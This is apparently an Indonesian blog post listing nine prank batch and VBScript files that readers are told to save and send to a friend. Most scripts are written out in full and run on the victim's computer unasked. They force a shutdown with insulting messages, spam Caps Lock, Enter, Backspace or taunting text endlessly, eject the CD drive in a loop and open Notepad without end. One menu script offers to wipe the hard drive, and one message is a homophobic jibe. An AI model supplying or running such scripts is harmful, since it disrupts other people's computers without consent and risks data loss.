1). Memberi
sedikit pesan dan shutdown komputer teman anda.
Ketik kode:
@echo off
msg * Modyar
Pora kowe
shutdown -c
"Error! Pekok men tho kowe...!" -s
- Save As
menggunakan Extension .BAT lalu kirim ke teman anda.
Contoh:
apasaja.bat
2). Menyalakan
tombol Caps lock secara simultan.
Ketik kode:
Set wshShell
=wscript.CreateObject("WScript.Shell")
do
wscript.sleep
100
wshshell.sendkeys
"{CAPSLOCK}"
loop
- Save As
.VBS terus kirim ke teman anda
Contoh:
apasaja.VBS
3). Buka/tutup
CD drive secara terus menerus.
Ketik kode:
Set oWMP =
CreateObject("WMPlayer.OCX.7")
Set colCDROMs
= oWMP.cdromCollection
do
if
colCDROMs.Count >= 1 then
For i = 0 to
colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to
colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep
5000
loop
- Save As
.VBS terus kirim ke teman anda.
4). Yang ini
script fungsinya supaya tekan enter secara simultan.
Ketik kode :
Set wshShell
= wscript.CreateObject("WScript.Shell")
do
wscript.sleep
100
wshshell.sendkeys
"~(enter)"
loop
- Save As
.VBS terus kirim ke teman anda.
5). Script ini
Fungsinya untuk membuka notepad, kemudian akan mengetik pesan kita secara
otomatis di notepad.
Ketik kode:
WScript.Sleep
180000
WScript.Sleep
10000
Set WshShell
= WScript.CreateObject("WScript.Shell")
WshShell.Run
"notepad"
WScript.Sleep
100
WshShell.AppActivate
"Notepad"
WScript.Sleep
500
WshShell.SendKeys
"Hel"
WScript.Sleep
500
WshShell.SendKeys
"lo "
WScript.Sleep
500
WshShell.SendKeys
", mo"
WScript.Sleep
500
WshShell.SendKeys
"dy"
WScript.Sleep
500
WshShell.SendKeys
"ar "
WScript.Sleep
500
WshShell.SendKeys
"kowe"
WScript.Sleep
500
WshShell.SendKeys
"... "
WScript.Sleep
500
WshShell.SendKeys
"I a"
WScript.Sleep
500
WshShell.SendKeys
"m g"
WScript.Sleep
500
WshShell.SendKeys
"ood"
WScript.Sleep
500
WshShell.SendKeys
" th"
WScript.Sleep
500
WshShell.SendKeys
"ank"
WScript.Sleep
500
WshShell.SendKeys
"s! "
- Save As
.VBS terus kirim ke teman anda.
6). Membuat
script VBS ini menjalankan BACKSPACE secara simultan.
Ketik Code:
MsgBox
"Let's go back a few steps"
Set wshShell
=wscript.CreateObject("WScript.Shell")
do
wscript.sleep
100
wshshell.sendkeys
"{bs}"
loop
- Save As
.VBS terus kirim ke teman anda
7). Hack
keyboard sehingga temen lu dipaksa ngetik " u are a gay" secara
simultan.
Ketik kode:
Set wshShell
= wscript.CreateObject("WScript.Shell")
do
wscript.sleep
100
wshshell.sendkeys
"Modyar...Modyar...Modyar"
loop
- Save As
.VBS trus kirim ke teman anda
8). Buka
Notepad secara terus menerus.
Ketik kode:
@ECHO off
:top
START
%SystemRoot%\system32\notepad.exe
GOTO top
- Save As
.BAT terus kirim ke teman anda
9). Script BAT
yang ini bakal munculin 5 pilihan yang harus temen kalian diantaranya adalah:
1. Shutdown
2. Restart
3. Hapus
HardDrive
4. Net Send
5.
Menampilkan pesan, kemudian shutdown
Ketik kode:
@echo off
title The end
of the world
cd C:\
:menu
cls
echo oops gw
gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi
tanggung jawab lu sendiri...
pause
echo pilih
nama cwe yang lu suka =P :
echo 1.
datanya bakal ilang lho.
echo 2.
komputer nya corrupt lho
echo 3. heheh
no comment deh klo yang ini
echo 4. mau
mati pake jalan ini?
echo 5. bye
bye...
set
input=nothing
set /p
input=Choice:
if %input%==1
goto one
if %input%==2
goto two
Dari 9 kode
Script diatas, sobat bisa kembangin dari 9 script digabung menjadi 1, Kemudian
lihat hasilnya...??
0 komentar:
Posting Komentar